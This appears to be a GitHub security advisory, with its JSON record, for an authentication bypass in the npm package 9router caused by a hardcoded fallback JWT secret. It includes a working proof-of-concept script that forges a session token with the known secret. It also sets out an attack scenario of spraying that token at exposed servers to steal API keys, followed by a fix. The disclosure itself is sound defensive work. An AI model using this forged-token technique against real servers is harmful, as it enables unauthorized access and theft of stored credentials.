GHSA-JPHH-M39H-6GWX
Vulnerability from github – Published: 2026-07-02 20:56 – Updated: 2026-07-02 20:56Summary
9router uses a publicly known hardcoded string "9router-default-secret-change-me" as the fallback of JWT secret for all Dashboard session JWTs when the JWT_SECRET environment variable is not set. Because this secret is committed in the public repository and unchanged across all releases, any unauthenticated remote attacker can forge a valid auth_token cookie and gain full access to dashboard and api (If JWT_SECRET is not set on server) . This vulnerable affected so many public 9router server
Details
| Versions | File | Note |
|---|---|---|
>= 0.2.21, <= 0.4.30 |
src/app/api/auth/login/route.js + src/middleware.js |
Introduced in commit 23cfb19 |
>= 0.4.31, <= 0.4.41 |
src/lib/auth/dashboardSession.js |
Relocated by OIDC refactor c3d91b0, secret unchanged |
Vulnerable Code
v0.2.21 – v0.4.30 — src/app/api/auth/login/route.js and src/middleware.js:
const SECRET = new TextEncoder().encode(
process.env.JWT_SECRET || "9router-default-secret-change-me"
);
v0.4.31 – v0.4.41 (current) — src/lib/auth/dashboardSession.js (centralized via OIDC refactor, commit c3d91b0):
const SECRET = new TextEncoder().encode(
process.env.JWT_SECRET || "9router-default-secret-change-me"
);
The fallback string was introduced in commit 23cfb19 (2026-01-09) and has never been removed. The OIDC refactor in c3d91b0 only relocated it to a shared module . This vulnerability has existed since 9router first introduced authentication.
PoC
Step 1. Craft a JWT signed with the known default secret:
import { SignJWT } from "jose";
const SECRET = new TextEncoder().encode("9router-default-secret-change-me");
const token = await new SignJWT({ authenticated: true })
.setProtectedHeader({ alg: "HS256" })
.setIssuedAt()
.setExpirationTime("36y")
.sign(SECRET);
console.log(token); // example a valid auth_token=eyJhbGciOiJIUzI1NiJ9.eyJhdXRoZW50aWNhdGVkIjp0cnVlLCJpYXQiOjE3Nzg3Njk4NTYsImV4cCI6MjkxNDg0MzQ1Nn0.enMLEqYZKFuzxkmRH6qd3E-Ub-20wOjmiEfP4KyIG6w
Step 2. Set the forged token as the auth_token cookie. And access the http://<target>/dashboard - completely authentication bypass
Attack Scenario:
- Attacker can use this JWT to spray to all server that they found in the internet and gain dashboard access if a server doesn't set JWT_SECRET
- Then they can steal valuable API Key , Auth Token via http:// target /api/settings/database
Impact
- A successful attack grants attacker full API Key, Auth Token that 9router hold
- They can read 9router apikey, change 9router password ,shutdown 9router, Modify everything
- Pivot via the MCP stdio→SSE bridge exposed at
/api/mcp/(exploit CVE-2026-46339)
Recommended Fix
Require JWT_SECRET at startup and fail fast rather than falling back silently:
const jwtSecret = process.env.JWT_SECRET;
if (!jwtSecret) {
throw new Error(
"JWT_SECRET environment variable is not set. " +
"Generate one with: openssl rand -hex 32"
);
}
const SECRET = new TextEncoder().encode(jwtSecret);
Alternatively, auto-generate a random secret on first boot and persist it to the data directory — but never fall back to a publicly known constant.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.4.41"
},
"package": {
"ecosystem": "npm",
"name": "9router"
},
"ranges": [
{
"events": [
{
"introduced": "0.2.21"
},
{
"fixed": "0.4.45"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-49352"
],
"database_specific": {
"cwe_ids": [
"CWE-798"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-02T20:56:55Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Summary\n9router uses a publicly known hardcoded string `\"9router-default-secret-change-me\"` as the fallback of JWT secret for all Dashboard session JWTs when the `JWT_SECRET` environment variable is not set. Because this secret is committed in the public repository and unchanged across all releases, any unauthenticated remote attacker can forge a valid `auth_token` cookie and gain full access to dashboard and api (If JWT_SECRET is not set on server) . This vulnerable affected so many public 9router server\n### Details\n| Versions | File | Note |\n|---|---|---|\n| `\u003e= 0.2.21, \u003c= 0.4.30` | `src/app/api/auth/login/route.js` + `src/middleware.js` | Introduced in commit `23cfb19` |\n| `\u003e= 0.4.31, \u003c= 0.4.41` | `src/lib/auth/dashboardSession.js` | Relocated by OIDC refactor `c3d91b0`, secret unchanged |\n\nVulnerable Code\n\n**v0.2.21 \u2013 v0.4.30** \u2014 `src/app/api/auth/login/route.js` and `src/middleware.js`:\n\n```js\nconst SECRET = new TextEncoder().encode(\n process.env.JWT_SECRET || \"9router-default-secret-change-me\"\n);\n```\n\n**v0.4.31 \u2013 v0.4.41 (current)** \u2014 `src/lib/auth/dashboardSession.js` (centralized via OIDC refactor, commit `c3d91b0`):\n\n```js\nconst SECRET = new TextEncoder().encode(\n process.env.JWT_SECRET || \"9router-default-secret-change-me\"\n);\n```\nThe fallback string was introduced in commit `23cfb19` (2026-01-09) and has never been removed. The OIDC refactor in `c3d91b0` only relocated it to a shared module . This vulnerability has existed since 9router first introduced authentication.\n### PoC\n**Step 1.** Craft a JWT signed with the known default secret:\n```js\nimport { SignJWT } from \"jose\";\n\nconst SECRET = new TextEncoder().encode(\"9router-default-secret-change-me\");\n\nconst token = await new SignJWT({ authenticated: true })\n .setProtectedHeader({ alg: \"HS256\" })\n .setIssuedAt()\n .setExpirationTime(\"36y\")\n .sign(SECRET);\n\nconsole.log(token); // example a valid auth_token=eyJhbGciOiJIUzI1NiJ9.eyJhdXRoZW50aWNhdGVkIjp0cnVlLCJpYXQiOjE3Nzg3Njk4NTYsImV4cCI6MjkxNDg0MzQ1Nn0.enMLEqYZKFuzxkmRH6qd3E-Ub-20wOjmiEfP4KyIG6w\n```\n**Step 2.** Set the forged token as the `auth_token` cookie. And access the `http://\u003ctarget\u003e/dashboard` - completely authentication bypass \n\n### Attack Scenario:\n- Attacker can use this JWT to spray to all server that they found in the internet and gain dashboard access if a server doesn\u0027t set JWT_SECRET\n- Then they can steal valuable API Key , Auth Token via http:// target /api/settings/database \n\n\n### Impact\n- A successful attack grants attacker **full API Key, Auth Token** that 9router hold\n- They can **read** 9router apikey, **change** 9router password ,shutdown 9router, **Modify** everything\n- **Pivot** via the MCP stdio\u2192SSE bridge exposed at `/api/mcp/` (exploit CVE-2026-46339)\n\n## Recommended Fix\n\n**Require** `JWT_SECRET` at startup and fail fast rather than falling back silently:\n\n```js\nconst jwtSecret = process.env.JWT_SECRET;\nif (!jwtSecret) {\n throw new Error(\n \"JWT_SECRET environment variable is not set. \" +\n \"Generate one with: openssl rand -hex 32\"\n );\n}\nconst SECRET = new TextEncoder().encode(jwtSecret);\n```\n\nAlternatively, auto-generate a random secret on first boot and persist it to the data directory \u2014 but **never** fall back to a publicly known constant.",
"id": "GHSA-jphh-m39h-6gwx",
"modified": "2026-07-02T20:56:55Z",
"published": "2026-07-02T20:56:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/decolua/9router/security/advisories/GHSA-jphh-m39h-6gwx"
},
{
"type": "PACKAGE",
"url": "https://github.com/decolua/9router"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "9router\u0027s Hardcoded Default fallback JWT Secret Allows Authentication Bypass"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.